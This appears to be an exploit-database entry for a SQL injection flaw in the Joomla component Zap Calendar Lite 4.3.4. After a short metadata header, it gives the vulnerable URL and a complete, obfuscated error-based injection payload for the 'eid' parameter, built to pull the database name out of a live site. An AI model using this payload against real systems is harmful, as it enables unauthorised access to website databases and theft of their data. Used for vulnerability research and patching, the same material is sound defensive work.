Joomla Zap Calendar Lite version 4.3.4 suffers from a remote SQL injection vulnerability.
ed9e31ecdd1149e78d603bd64ea1e8c4# # # # #
# Exploit Title: Joomla! Component Zap Calendar Lite 4.3.4 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: https://zcontent.net/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/zap-calendar-lite/
# Demo: http://demo.zapcalendar.com/
# Version: 4.3.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
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# Proof of Concept:
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# http://localhost/[PATH]/index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform&user=&eid=[SQL]
# 1++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)&format=raw
#
# Etc..
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